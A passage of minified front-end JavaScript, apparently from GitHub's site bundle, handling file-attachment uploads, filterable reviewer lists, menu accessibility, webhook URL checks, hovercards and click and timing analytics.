n=e.querySelector(".js-feature-preview-slug").value;(0,c.f)(e,`feature-preview-enroll:${n}`)});class yo{constructor(t,n){this.attachment=t,this.policy=n}async process(t){var n,o,r,i;const a=window.performance.now(),l=new Headers(this.policy.header||{}),y=new XMLHttpRequest;y.open("POST",this.policy.upload_url,!0);for(const[I,F]of l)y.setRequestHeader(I,F);y.onloadstart=()=>{t.attachmentUploadDidStart(this.attachment,this.policy)},y.upload.onprogress=I=>{if(I.lengthComputable){const F=Math.round(I.loaded/I.total*100);t.attachmentUploadDidProgress(this.attachment,F)}},await ei(y,ti(this.attachment,this.policy)),y.status===204?(vo(this.policy),t.attachmentUploadDidComplete(this.attachment,this.policy,{})):y.status===201?(vo(this.policy),t.attachmentUploadDidComplete(this.attachment,this.policy,JSON.parse(y.responseText))):t.attachmentUploadDidError(this.attachment,{status:y.status,body:y.responseText});const R={duration:window.performance.now()-a,size:(o=(n=this.attachment)==null?void 0:n.file)==null?void 0:o.size,fileType:(i=(r=this.attachment)==null?void 0:r.file)==null?void 0:i.type,success:y.status===204||y.status===201};(0,he.b)({uploadTiming:R},!0)}}s(yo,"AttachmentUpload");function ei(e,t){return new Promise((n,o)=>{e.onload=()=>n(e),e.onerror=o,e.send(t)})}s(ei,"send");function ti(e,t){const n=new FormData;t.same_origin&&n.append("authenticity_token",t.upload_authenticity_token);for(const o in t.form)n.append(o,t.form[o]);return n.append("file",e.file),n}s(ti,"uploadForm");function vo(e){const t=typeof e.asset_upload_url=="string"?e.asset_upload_url:null,n=typeof e.asset_upload_authenticity_token=="string"?e.asset_upload_authenticity_token:null;if(!(t&&n))return;const o=new FormData;o.append("authenticity_token",n),fetch(t,{method:"PUT",body:o,credentials:"same-origin",headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}s(vo,"markComplete");async function ni(e,t){const n=ii(e,t);for(const o of e.attachments){const r=await oi(e,o,t);if(!r)return;try{await new yo(o,r).process(n)}catch{(0,c.f)(t,"upload:error",{batch:e,attachment:o}),Ae(t,"is-failed");return}}}s(ni,"upload");async function oi(e,t,n){const o=ri(t,n),r=[];(0,c.f)(n,"upload:setup",{batch:e,attachment:t,form:o,preprocess:r});try{await Promise.all(r);const i=await fetch(si(o,n));if(i.ok)return await i.json();(0,c.f)(n,"upload:invalid",{batch:e,attachment:t});const a=await i.text(),l=i.status,{state:y,messaging:w}=wo({status:l,body:a},t.file);Ae(n,y,w)}catch{(0,c.f)(n,"upload:invalid",{batch:e,attachment:t}),Ae(n,"is-failed")}return null}s(oi,"validate");function ri(e,t){const n=t.querySelector(".js-data-upload-policy-url-csrf").value,o=t.getAttribute("data-upload-repository-id"),r=t.getAttribute("data-subject-type"),i=t.getAttribute("data-subject-param"),a=e.file,l=new FormData;return l.append("name",a.name),l.append("size",String(a.size)),l.append("content_type",a.type),l.append("authenticity_token",n),r&&l.append("subject_type",r),i&&l.append("subject",i),o&&l.append("repository_id",o),e.directory&&l.append("directory",e.directory),l}s(ri,"policyForm");function si(e,t){return new Request(t.getAttribute("data-upload-policy-url"),{method:"POST",body:e,credentials:"same-origin",headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}s(si,"policyRequest");function ii(e,t){return{attachmentUploadDidStart(n,o){n.saving(0),Ae(t,"is-uploading"),(0,c.f)(t,"upload:start",{batch:e,attachment:n,policy:o})},attachmentUploadDidProgress(n,o){n.saving(o),(0,c.f)(t,"upload:progress",{batch:e,attachment:n})},attachmentUploadDidComplete(n,o,r){n.saved(ai(r,o)),(0,c.f)(t,"upload:complete",{batch:e,attachment:n}),e.isFinished()&&Ae(t,"is-default")},attachmentUploadDidError(n,o){(0,c.f)(t,"upload:error",{batch:e,attachment:n});const{state:r}=wo(o);Ae(t,r)}}}s(ii,"createDelegate");function ai(e,t){const n=(e.id==null?null:String(e.id))||(t.asset.id==null?null:String(t.asset.id)),o=(typeof e.href=="string"?e.href:null)||(typeof t.asset.href=="string"?t.asset.href:null);return{id:n,href:o,name:t.asset.name}}s(ai,"savedAttributes");function wo(e,t){if(e.status===400)return{state:"is-bad-file"};if(e.status!==422)return{state:"is-failed"};const n=JSON.parse(e.body);if(!n||!n.errors)return{state:"is-failed"};for(const o of n.errors)switch(o.field){case"size":{const r=t?t.size:null;return r!=null&&r===0?{state:"is-empty"}:{state:"is-too-big",messaging:{message:ci(o.message),target:".js-upload-too-big"}}}case"file_count":return{state:"is-too-many"};case"width":case"height":return{state:"is-bad-dimensions"};case"name":return o.code==="already_exists"?{state:"is-duplicate-filename"}:{state:"is-bad-file"};case"content_type":return{state:"is-bad-file"};case"uploader_id":return{state:"is-bad-permissions"};case"repository_id":return{state:"is-repository-required"};case"format":return{state:"is-bad-format"}}return{state:"is-failed"}}s(wo,"policyErrorState");const ci=s(e=>e.startsWith("size")?e.substring(5):e,"trimSizeErrorMessage"),li=["is-default","is-uploading","is-bad-file","is-duplicate-filename","is-too-big","is-too-many","is-hidden-file","is-failed","is-bad-dimensions","is-empty","is-bad-permissions","is-repository-required","is-bad-format"];function Ae(e,t,n){if(n){const{message:o,target:r}=n,i=e.querySelector(r);i&&(i.innerHTML=o)}e.classList.remove(...li),e.classList.add(t)}s(Ae,"resetState");class Eo{constructor(t){this.attachments=t,this.size=this.attachments.length,this.total=Yt(this.attachments,n=>n.file.size)}percent(){const t=s(o=>o.file.size*o.percent/100,"bytes"),n=Yt(this.attachments,t);return Math.round(n/this.total*100)}uploaded(){const t=s(n=>n.isSaved()?1:0,"value");return Yt(this.attachments,t)}isFinished(){return this.attachments.every(t=>t.isSaved())}}s(Eo,"Batch");function Yt(e,t){return e.reduce((n,o)=>n+t(o),0)}s(Yt,"sum"),(0,u.N7)("file-attachment[hover]",{add(e){e.classList.add("dragover")},remove(e){e.classList.remove("dragover")}}),(0,c.on)("file-attachment-accept","file-attachment",function(e){const{attachments:t}=e.detail;t.length===0&&(Ae(e.currentTarget,"is-hidden-file"),e.preventDefault())}),(0,c.on)("file-attachment-accepted","file-attachment",function(e){const t=e.currentTarget.querySelector(".drag-and-drop");if(t&&t.hidden)return;const{attachments:n}=e.detail;ni(new Eo(n),e.currentTarget)});let Lo=0;(0,u.N7)("file-attachment",{add(e){Lo++===0&&(document.addEventListener("drop",So),document.addEventListener("dragover",To));const t=e.closest("form");t&&t.addEventListener("reset",Ao)},remove(e){--Lo===0&&(document.removeEventListener("drop",So),document.removeEventListener("dragover",To));const t=e.closest("form");t&&t.removeEventListener("reset",Ao)}});function jo(e){return Array.from(e.types).indexOf("Files")>=0}s(jo,"file_attachment_hasFile");function So(e){const t=e.dataTransfer;t&&jo(t)&&e.preventDefault()}s(So,"onDocumentDrop");function To(e){const t=e.dataTransfer;t&&jo(t)&&e.preventDefault()}s(To,"onDocumentDragover");function Ao({currentTarget:e}){const t=e.querySelector("file-attachment");Ae(t,"is-default")}s(Ao,"onFormReset");var ui=f(13002);(0,c.on)("filter-input-updated","filter-input",e=>{const t=e.currentTarget.input;if(!(document.activeElement&&document.activeElement===t))return;const{count:n,total:o}=e.detail;(0,h.x)(`Found ${n} out of ${o} ${o===1?"item":"items"}`)}),(0,c.on)("toggle","details",e=>{setTimeout(()=>di(e.target),0)},{capture:!0}),(0,c.on)("tab-container-changed","tab-container",e=>{if(!(e.target instanceof HTMLElement))return;const{relatedTarget:t}=e.detail,n=e.target.querySelector("filter-input");n instanceof ui.Z&&n.setAttribute("aria-owns",t.id)},{capture:!0});function di(e){const t=e.querySelector("filter-input");t&&!e.hasAttribute("open")&&t.reset()}s(di,"resetFilter");function Co(e,t,n,o={}){var r;const i=(r=o.limit)!=null?r:1/0;let a=0;for(const l of e.children){const y=n(l,t);y==null||(y&&a0));return S}s(Mo,"filterSortList");var en=f(25833);let tn=new AbortController;const Ze=new WeakMap,qo=new WeakMap,Ro=new WeakMap;async function fi(e,t,n,o){n&&!Ze.has(e)&&pi(e);const r=await mi(e,t,n,o);return e.hasAttribute("data-filterable-data-pre-rendered")&&(r.suggestions=hi(e,n)),r}s(fi,"getData");async function mi(e,t,n,o){const r=new URL(e.getAttribute("data-filterable-src")||"",window.location.origin);if(r.pathname==="/")throw new Error("could not get data-filterable-src");if(n){const i=Ze.get(e),a=t.trim();if(i.lastSearchText===a)return i.lastSearchResult;const l=i.lastSearchText===void 0;i.lastSearchText=a;const y=e.getAttribute("data-filterable-for")||"",w=document.getElementById(y);if(tn.abort(),a===""&&!o)i.lastSearchResult={suggestions:[],users:[]};else{tn=new AbortController;const S={headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"},signal:tn.signal},R=r.searchParams||new URLSearchParams;R.set("q",t),R.set("typeAhead","true"),r.search=R.toString(),l||w==null||w.classList.add("is-loading");const I=await fetch(r.toString(),S);i.lastSearchResult=await I.json()}return w==null||w.classList.remove("is-loading"),i.lastSearchResult}else{const i={headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}};return await(await fetch(r.toString(),i)).json()}}s(mi,"fetchQueryIfNeeded");function hi(e,t){const n=[],o=e.querySelectorAll(".js-filterable-suggested-user");if(o.length>0)for(const r of e.querySelectorAll(".js-filterable-suggested-user"))r.classList.remove("js-filterable-suggested-user"),n.push({name:r.querySelector(".js-description").textContent,login:r.querySelector(".js-username").textContent,selected:r.getAttribute("aria-checked")==="true",element:r,suggestion:!0});if(t){const r=Ze.get(e);return o.length>0&&(r.cachedSuggestions=n,r.userResultCache.clear()),r.cachedSuggestions}return n}s(hi,"getPreRenderedUsers");function pi(e){Ze.set(e,{lastSearchResult:{suggestions:[],users:[]},cachedSuggestions:[],userResultCache:new Map})}s(pi,"initializeTypeAheadCache");async function gi(e,t,n){var o,r;Ro.set(e,t),await(0,en.Z)();const i=e.hasAttribute("data-filterable-show-suggestion-header"),a=e.hasAttribute("data-filterable-type-ahead"),l=e.hasAttribute("data-filterable-type-ahead-query-on-empty");let y=qo.get(e);if(!y)try{y=await fi(e,t,a,l),a||qo.set(e,y)}catch(B){if(B.name==="AbortError")return-1;throw B}if(!a&&Ro.get(e)!==t)return-1;const w=n.limit,S=e.querySelector("template"),R={};for(const B of e.querySelectorAll("input[type=hidden]"))R[`${B.name}${B.value}`]=B;let I=S.nextElementSibling;for(;I;){const B=I;I=B.nextElementSibling,B instanceof HTMLElement&&(a||B.getAttribute("aria-checked")==="true"||B.classList.contains("select-menu-divider"))?B.hidden=!0:B.remove()}let F=0;const X=t.trim()==="",oe=document.createDocumentFragment(),Q=e.querySelector(".js-divider-suggestions"),se=e.querySelector(".js-divider-rest"),ce=Ze.get(e);function de(B){const G=`${B.login} ${B.name}`.toLowerCase().trim().includes(t),z=!(w!=null&&F>=w)&&G;if(z||B.selected||B.suggestion){const Z=bi(B,S,R,ce);Z.hidden=!z,z&&F++,oe.appendChild(Z)}}s(de,"addItem");let Y=!1;if(Q&&(((o=y.suggestions)==null?void 0:o.length)>0||i&&y.users.length>0)){const B=(r=y.suggestions)!=null?r:[],G=B.filter(Z=>Z.selected),z=B.filter(Z=>!Z.selected);for(const Z of G)de(Z);oe.appendChild(Q);const ee=F;for(const Z of z)de(Z);Y=F>ee,Q.hidden=!Y||a&&!X,i&&y.users.length>0&&(Q.hidden=!X)}se&&oe.appendChild(se);const He=F;for(const B of y.users)de(B);return se&&(se.hidden=He===F||!Y),e.append(oe),F}s(gi,"substringMemoryFilterList");function bi(e,t,n,o){if(e.element!=null)return e.element;if(o==null?void 0:o.userResultCache.has(e.id))return o.userResultCache.get(e.id);const r=t.content.cloneNode(!0),i=r.querySelector("input[type=checkbox], input[type=radio]");e.type&&(i.name=`reviewer_${e.type}_ids[]`),i.value=e.id;const a=`${i.name}${e.id}`;let l=e.selected;n[a]&&(l=!0,n[a].remove(),delete n[a]);const y=r.querySelector("[role^=menuitem]");l&&(y.setAttribute("aria-checked","true"),i.checked=!0),e.disabled&&y.setAttribute("aria-disabled","true");const w=r.querySelector(".js-username");w&&(w.textContent=e.login);const S=r.querySelector(".js-description");S&&(S.textContent=e.name);const R=r.querySelector(".js-extended-description");R&&(e.description?R.textContent=e.description:R.remove());const I=r.querySelector(".js-avatar");return I.className=`${I.className} ${e.class}`,I.src=e.avatar,e.element=y,o==null||o.userResultCache.set(e.id,y),e.element}s(bi,"createReviewerItem"),(0,u.N7)(".js-filterable-field",{constructor:HTMLInputElement,initialize(e){e.autocomplete||(e.autocomplete="off");const t=e.hasAttribute("type-ahead")?200:null;let n=e.value;async function o(i){n!==i.value&&(n=i.value,await(0,k.gJ)(),(0,c.f)(i,"filterable:change"))}s(o,"onInputChange");async function r(){n=e.value,await(0,k.gJ)(),(0,c.f)(e,"filterable:change")}return s(r,"onFocus"),{add(i){i.addEventListener("focus",r),(0,te.oq)(i,o,{wait:t}),document.activeElement===i&&r()},remove(i){i.removeEventListener("focus",r),(0,te.iU)(i,o)}}}}),(0,c.on)("filterable:change",".js-filterable-field",async function(e){const t=e.currentTarget,n=t.value.trim().toLowerCase(),o=document.querySelectorAll(`[data-filterable-for="${t.id}"]`);for(const r of o){const i=await vi(r,n);if(i===-1)return;document.activeElement&&t===document.activeElement&&(0,h.x)(`${i} results found.`),r.dispatchEvent(new CustomEvent("filterable:change",{bubbles:!0,cancelable:!1,detail:{inputField:t}}))}});function yi(e){return e.hasAttribute("data-filter-value")?e.getAttribute("data-filter-value").toLowerCase().trim():e.textContent.toLowerCase().trim()}s(yi,"defaultText");async function vi(e,t){const n=parseInt(e.getAttribute("data-filterable-limit"),10)||null;let o=0;switch(e.getAttribute("data-filterable-type")){case"fuzzy-prio":{const r=t.toLowerCase();o=Mo(e,t,{limit:n,sortKey:s(a=>{const l=a.getAttribute("data-prio-filter-value").toLowerCase().trim(),y=a.textContent.toLowerCase().trim(),w=(0,ge.EW)(l,r)*2;let S=(0,ge.EW)(y,r);return w>S&&(S=w),S>0?{score:S,text:y}:null},"sortKey")});break}case"fuzzy":{const r=t.toLowerCase();o=Mo(e,t,{limit:n,sortKey:s(a=>{const l=yi(a),y=(0,ge.EW)(l,r);return y>0?{score:y,text:l}:null},"sortKey")});break}case"substring":o=Co(e,t.toLowerCase(),Ei,{limit:n});break;case"substring-memory":o=await gi(e,t,{limit:n});break;default:o=Co(e,t.toLowerCase(),wi,{limit:n});break}return e.classList.toggle("filterable-active",t.length>0),e.classList.toggle("filterable-empty",o===0),o}s(vi,"filter");function wi(e,t){return e.textContent.toLowerCase().trim().startsWith(t)}s(wi,"prefix");function Ei(e,t){return e.hasAttribute("data-skip-substring-filter")||e.classList.contains("select-menu-no-results")?null:(e.querySelector("[data-filterable-item-text]")||e).textContent.toLowerCase().trim().includes(t)}s(Ei,"substring"),(0,c.on)("filterable:change","details-menu .select-menu-list",function(e){const t=e.currentTarget,n=t.querySelector(".js-new-item-form");n&&Li(t,n,e.detail.inputField.value)});function Li(e,t,n){const o=n.length>0&&!ji(e,n);if(e.classList.toggle("is-showing-new-item-form",o),!o)return;t.querySelector(".js-new-item-name").textContent=n;const r=t.querySelector(".js-new-item-value");(r instanceof HTMLInputElement||r instanceof HTMLButtonElement)&&(r.value=n)}s(Li,"toggleForm");function ji(e,t){for(const n of e.querySelectorAll("[data-menu-button-text]"))if(n.textContent.toLowerCase().trim()===t.toLowerCase())return!0;return!1}s(ji,"itemExists"),(0,u.N7)("tab-container .select-menu-list .filterable-empty, details-menu .select-menu-list .filterable-empty",{add(e){e.closest(".select-menu-list").classList.add("filterable-empty")},remove(e){e.closest(".select-menu-list").classList.remove("filterable-empty")}});const _o=navigator.userAgent.match(/Firefox\/(\d+)/);_o&&Number(_o[1])<76&&((0,u.N7)('details-menu label[tabindex][role^="menuitem"]',e=>{const t=e.querySelector("input");if(!t)return;const n=e.classList.contains("select-menu-item"),o=t.classList.contains("d-none"),r=n||o||t.hidden;n&&t.classList.add("d-block"),o&&t.classList.remove("d-none"),r&&(t.classList.add("sr-only"),t.hidden=!1),e.removeAttribute("tabindex")}),(0,c.on)("focus",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',e=>{const t=e.currentTarget.closest("label");t.classList.contains("select-menu-item")&&t.classList.add("navigation-focus"),t.classList.contains("SelectMenu-item")&&t.classList.add("hx_menuitem--focus"),t.classList.contains("dropdown-item")&&t.classList.add("hx_menuitem--focus"),e.currentTarget.addEventListener("blur",()=>{t.classList.contains("select-menu-item")&&t.classList.remove("navigation-focus"),t.classList.contains("SelectMenu-item")&&t.classList.remove("hx_menuitem--focus"),t.classList.contains("dropdown-item")&&t.classList.remove("hx_menuitem--focus")},{once:!0})},{capture:!0}),(0,j.w4)("keydown",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',async function(e){if(Po(e))e.currentTarget instanceof Element&&Si(e.currentTarget);else if(e.key==="Enter"){const t=e.currentTarget;e.preventDefault(),await(0,k.gJ)(),t instanceof HTMLInputElement&&t.click()}}),(0,c.on)("blur",'details-menu label input[role="menuitemradio"], details-menu label input[role="menuitemcheckbox"]',e=>{Io(e.currentTarget)},{capture:!0}),(0,j.w4)("keyup",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',e=>{!Po(e)||e.currentTarget instanceof Element&&Io(e.currentTarget)}));function Po(e){return e.key==="ArrowDown"||e.key==="ArrowUp"}s(Po,"isArrowKeys");function Si(e){const t=e.closest("label");t.hasAttribute("data-role")||t.setAttribute("data-role",t.getAttribute("role")),e.setAttribute("role",t.getAttribute("data-role")),t.removeAttribute("role")}s(Si,"switchRoleToInputForNavigation");function Io(e){const t=e.closest("label");t.hasAttribute("data-role")||t.setAttribute("data-role",t.getAttribute("role")),t.setAttribute("role",t.getAttribute("data-role")),e.removeAttribute("role")}s(Io,"switchRoleBackToOriginalState");var nn=f(11820);function Do(){document.firstElementChild.classList.contains("js-skip-scroll-target-into-view")||(0,nn.lA)(document)&&(0,nn.kc)(document)}s(Do,"scrollTargetIntoViewIfNeeded"),(0,Xt.Z)(Do),(0,c.on)("click",'a[href^="#"]',function(e){const{currentTarget:t}=e;t instanceof HTMLAnchorElement&&setTimeout(Do,0)}),(0,c.on)("click",".js-flash-close",function(e){const t=e.currentTarget.closest(".flash-messages");e.currentTarget.closest(".flash").remove(),t&&!t.querySelector(".flash")&&t.remove()});const Ti=["flash-notice","flash-error","flash-message","flash-warn"];function Ai(e){for(const{key:t,value:n}of Ti.flatMap(Ve.$1)){(0,Ve.kT)(t);let o;try{o=atob(decodeURIComponent(n))}catch{continue}e.after(new lt.R(e,{className:t,message:o}))}}s(Ai,"displayFlash"),(0,u.N7)("template.js-flash-template",{constructor:HTMLTemplateElement,add(e){Ai(e)}});const on=new WeakMap;document.addEventListener("focus",function(e){const t=e.target;t instanceof Element&&!on.get(t)&&((0,c.f)(t,"focusin:delay"),on.set(t,!0))},{capture:!0}),document.addEventListener("blur",function(e){setTimeout(function(){const t=e.target;t instanceof Element&&t!==document.activeElement&&((0,c.f)(t,"focusout:delay"),on.delete(t))},200)},{capture:!0}),(0,C.AC)(".js-form-toggle-target",async function(e,t){try{await t.text()}catch{return}const n=e.closest(".js-form-toggle-container");n.querySelector(".js-form-toggle-target[hidden]").hidden=!1,e.hidden=!0});var Ci=f(99254);function ki(e){e instanceof CustomEvent&&(0,h.x)(`${e.detail} results found.`)}s(ki,"noticeHandler"),(0,u.N7)("fuzzy-list",{constructor:Ci.Z,subscribe:e=>(0,M.RB)(e,"fuzzy-list-sorted",ki)}),(0,c.on)("click",".email-hidden-toggle",function(e){const t=e.currentTarget.nextElementSibling;t instanceof HTMLElement&&(t.style.display="",t.classList.toggle("expanded"),e.preventDefault())});var ou=f(30479);(0,u.N7)(".js-hook-url-field",{constructor:HTMLInputElement,add(e){function t(){const n=e.form;if(!n)return;let o;try{o=new URL(e.value)}catch{}const r=n.querySelector(".js-invalid-url-notice");r instanceof HTMLElement&&(r.hidden=!!(e.value===""||o&&/^https?:/.test(o.protocol)));const i=n.querySelector(".js-insecure-url-notice");i instanceof HTMLElement&&o&&e.value&&(i.hidden=/^https:$/.test(o.protocol));const a=n.querySelector(".js-ssl-hook-fields");a instanceof HTMLElement&&(a.hidden=!(o&&o.protocol==="https:"))}s(t,"checkUrl"),(0,te.oq)(e,t),t()}});function Ho(e){const t=document.querySelectorAll(".js-hook-event-checkbox");for(const n of t)n.checked=n.matches(e)}s(Ho,"chooseEvents"),(0,c.on)("change",".js-hook-event-choice",function(e){const t=e.currentTarget,n=t.checked&&t.value==="custom",o=t.closest(".js-hook-events-field");if(o&&o.classList.toggle("is-custom",n),t.checked)if(n){const r=document.querySelector(".js-hook-wildcard-event");r.checked=!1}else t.value==="push"?Ho('[value="push"]'):t.value==="all"&&Ho(".js-hook-wildcard-event")}),(0,c.on)("click",".js-hook-deliveries-pagination-button",async function(e){const t=e.currentTarget;t.disabled=!0;const n=t.parentElement,o=t.getAttribute("data-url");n.before(await(0,pe.a)(document,o)),n.remove()}),(0,C.AC)(".js-redeliver-hook-form",async function(e,t){let n;try{n=await t.html()}catch{e.classList.add("failed");return}document.querySelector(".js-hook-deliveries-container").replaceWith(n.html)});var $e=f(11793);(0,u.N7)("[data-hotkey]",{constructor:HTMLElement,add(e){if((0,at.Ty)())(0,$e.N9)(e);else{const t=e.getAttribute("data-hotkey");if(t){const n=xi(t);n.length>0&&(e.setAttribute("data-hotkey",n),(0,$e.N9)(e))}}},remove(e){(0,$e.Tz)(e)}});function xi(e){return e.split(",").filter(n=>(0,at.YE)(n)).join(",")}s(xi,"filterOutCharacterKeyShortcuts");var rn=f(53692);let ne=document.querySelector(".js-hovercard-content");(0,u.N7)(".js-hovercard-content",e=>{ne=e});const Mi=(0,qe.Z)(pe.a);let Ce,mt=null,sn,an=0;const cn=12,ln=24,Oo=ln-7,No=16,qi=100,Ri=250;function Re(e){return"Popover-message--"+e}s(Re,"contentClass");function _i(e){setTimeout(()=>{if(document.body&&document.body.contains(e)){const t=e.querySelector("[data-hovercard-tracking]");if(t){const o=t.getAttribute("data-hovercard-tracking");o&&(0,_.q)("user-hovercard-load",JSON.parse(o))}const n=e.querySelector("[data-hydro-view]");n instanceof HTMLElement&&(0,rn.Fk)(n)}},500)}s(_i,"trackLoad");function Fe(){ne instanceof HTMLElement&&(ne.style.display="none",ne.children[0].innerHTML="",mt=null,Ce=null)}s(Fe,"hideCard");function Pi(e){const t=e.getClientRects();let n=t[0]||e.getBoundingClientRect()||{top:0,left:0,height:0,width:0};if(t.length>0){for(const o of t)if(o.leftan){n=o;break}}return n}s(Pi,"selectRectNearestMouse");function Ii(e){const{width:t,height:n}=ne.getBoundingClientRect(),{left:o,top:r,height:i,width:a}=Pi(e),l=r>n;if(e.classList.contains("js-hovercard-left")){const w=o-t-cn,S=r+i/2;return{containerTop:l?S-n+Oo+No/2:S-Oo-No/2,containerLeft:w,contentClassSuffix:l?"right-bottom":"right-top"}}else{const w=window.innerWidth-o>t,S=o+a/2,R=w?S-ln:S-t+ln;return{containerTop:l?r-n-cn:r+i+cn,containerLeft:R,contentClassSuffix:l?w?"bottom-left":"bottom-right":w?"top-left":"top-right"}}}s(Ii,"calculatePositions");function Di(e,t){if(!(ne instanceof HTMLElement))return;ne.style.visibility="hidden",ne.style.display="block",t.classList.remove(Re("bottom-left"),Re("bottom-right"),Re("right-top"),Re("right-bottom"),Re("top-left"),Re("top-right"));const{containerTop:n,containerLeft:o,contentClassSuffix:r}=Ii(e);t.classList.add(Re(r)),ne.style.top=`${n+window.pageYOffset}px`,ne.style.left=`${o+window.pageXOffset}px`,zi(e,ne),ne.style.visibility=""}s(Di,"positionCard");function Hi(e,t){if(!(ne instanceof HTMLElement))return;const n=ne.children[0];n.innerHTML="";const o=document.createElement("div");for(const r of e.children)o.appendChild(r.cloneNode(!0));n.appendChild(o),Di(t,n),_i(o),ne.style.display="block"}s(Hi,"showCard");function Oi(e){const t=e.closest("[data-hovercard-subject-tag]");if(t)return t.getAttribute("data-hovercard-subject-tag");const n=document.head&&document.head.querySelector('meta[name="hovercard-subject-tag"]');return n?n.getAttribute("content"):null}s(Oi,"determineEnclosingSubject");function Ni(e){const t=e.getAttribute("data-hovercard-url");if(t){const n=Oi(e);if(n){const o=new URL(t,window.location.origin),r=new URLSearchParams(o.search.slice(1));return r.append("subject",n),r.append("current_path",window.location.pathname+window.location.search),o.search=r.toString(),o.toString()}return t}return""}s(Ni,"hovercardUrlFromTarget");function Bi(e){const t=e.getAttribute("data-hovercard-type");return t==="pull_request"||t==="issue"?!!e.closest("[data-issue-and-pr-hovercards-enabled]"):t==="team"?!!e.closest("[data-team-hovercards-enabled]"):t==="repository"?!!e.closest("[data-repository-hovercards-enabled]"):t==="commit"?!!e.closest("[data-commit-hovercards-enabled]"):t==="project"?!!e.closest("[data-project-hovercards-enabled]"):t==="discussion"?!!e.closest("[data-discussion-hovercards-enabled]"):t==="acv_badge"?!!e.closest("[data-acv-badge-hovercards-enabled]"):t==="sponsors_listing"?!!e.closest("[data-sponsors-listing-hovercards-enabled]"):!0}s(Bi,"hovercardsAreEnabledForType");async function $i(e,t){if("ontouchstart"in document)return;const o=e.currentTarget;if(e instanceof MouseEvent&&(an=e.clientX),!(o instanceof Element)||Ce===o||o.closest(".js-hovercard-content")||!Bi(o))return;Fe(),Ce=o,mt=document.activeElement;const r=Ni(o);let i;try{const a=new Promise(l=>window.setTimeout(l,t,0));i=await Mi(document,r),await a}catch(a){const l=a.response;if(l&&l.status===404){const y="Hovercard is unavailable";o.setAttribute("aria-label",y),o.classList.add("tooltipped","tooltipped-ne")}else if(l&&l.status===410){const y=await l.clone().json();o.setAttribute("aria-label",y.message),o.classList.add("tooltipped","tooltipped-ne")}return}o===Ce&&(Hi(i,o),e instanceof KeyboardEvent&&ne instanceof HTMLElement&&ne.focus())}s($i,"activateFn");function Fi(e){$i(e,Ri)}s(Fi,"activateWithTimeoutFn");function un(e){if(!!Ce){if(e instanceof MouseEvent&&e.relatedTarget instanceof HTMLElement){const t=e.relatedTarget;if(t.closest(".js-hovercard-content")||t.closest("[data-hovercard-url]"))return}else e instanceof KeyboardEvent&&mt instanceof HTMLElement&&mt.focus();Fe()}}s(un,"deactivateFn");function Ui(e){const t=Ce;sn=window.setTimeout(()=>{Ce===t&&un(e)},qi)}s(Ui,"deactivateWithTimeoutFn");function Bo(e){if(e instanceof KeyboardEvent)switch(e.key){case"Escape":un(e)}}s(Bo,"keyupFn");function Wi(){sn&&clearTimeout(sn)}s(Wi,"cancelDeactivation"),ne&&((0,u.N7)("[data-hovercard-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"mouseover",Fi),(0,M.RB)(e,"mouseleave",Ui),(0,M.RB)(e,"keyup",Bo))}),(0,u.N7)("[data-hovercard-url]",{remove(e){Ce===e&&Fe()}}),(0,u.N7)(".js-hovercard-content",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"mouseover",Wi),(0,M.RB)(e,"mouseleave",un),(0,M.RB)(e,"keyup",Bo))}),(0,c.on)("menu:activated","details",Fe),window.addEventListener("turbo:load",Fe),window.addEventListener("statechange",Fe));function zi(e,t){const n=e.getAttribute("data-hovercard-z-index-override");n?t.style.zIndex=n:t.style.zIndex="100"}s(zi,"setZIndexOverride"),async function(){document.addEventListener("pjax:complete",()=>(0,_.Y)({pjax:"true"})),document.addEventListener("soft-nav:success",()=>(0,_.Y)({turbo:"true"})),await me.C,(0,_.Y)()}(),(0,c.on)("click","[data-octo-click]",function(e){const t=e.currentTarget;if(!(t instanceof HTMLElement))return;const n=t.getAttribute("data-octo-click")||"",o={};if(t.hasAttribute("data-ga-click")){const i=t.getAttribute("data-ga-click").split(",");o.category=i[0].trim(),o.action=i[1].trim()}if(t.hasAttribute("data-octo-dimensions")){const r=t.getAttribute("data-octo-dimensions").split(",");for(const i of r){const[a,l]=i.split(/:(.+)/);a&&(o[a]=l||"")}}(0,_.q)(n,o)});var $o=f(84818);const{getItem:su}=(0,$o.Z)("localStorage");function Fo(e,t){var n,o}s(Fo,"debugPayload"),(0,c.on)("click","[data-hydro-click]",function(e){const t=e.currentTarget,n=t.getAttribute("data-hydro-click")||"",o=t.getAttribute("data-hydro-click-hmac")||"",r=t.getAttribute("data-hydro-client-context")||"";Fo("hydro-debug.click",n),(0,rn.$S)(n,o,r)}),(0,c.on)("click","[data-optimizely-hydro-click]",function(e){const t=e.currentTarget,n=t.getAttribute("data-optimizely-hydro-click")||"",o=t.getAttribute("data-optimizely-hydro-click-hmac")||"";Fo("hydro-debug.optimizely",n),(0,rn.$S)(n,o,"")}),(0,C.AC)(".js-immediate-updates",async function(e,t){let n;try{n=(await t.json()).json.updateContent}catch(o){o.response.json&&(n=o.response.json.updateContent)}if(n)for(const o in n){const r=n[o],i=document.querySelector(o);i instanceof HTMLElement&&(0,Me.Of)(i,r)}}),document.addEventListener("DOMContentLoaded",Ki);async function Ki(){if((0,U.c)("IMAGE_METRIC_TRACKING")===!1)return;const e=Array.from(document.querySelectorAll("img.js-img-time")).slice(0,5),t=Date.now(),n=[];await Promise.all(e.map(o=>Vi(o,t,n))),n.length>0&&(0,he.b)({transparentRedirectTimings:n})}s(Ki,"onDOMContentLoaded");async function Vi(e,t,n){const o=/\/assets\/storage\/user\/([0-9]+)\/files\/([{]?[0-9a-fA-F]{8}-([0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}[}]?)/,r=/assets\/([0-9]+)\/([{]?[0-9a-fA-F]{8}-([0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}[}]?)/,i=e.getAttribute("src");if(!i)return;const a=new URL(i,window.location.origin),l=o.test(a.pathname)?o:r,[,y,w]=a.pathname.match(l)||[];if(!y||!w)return;await fetch(`/assets/measure/${y}/${w}`);const 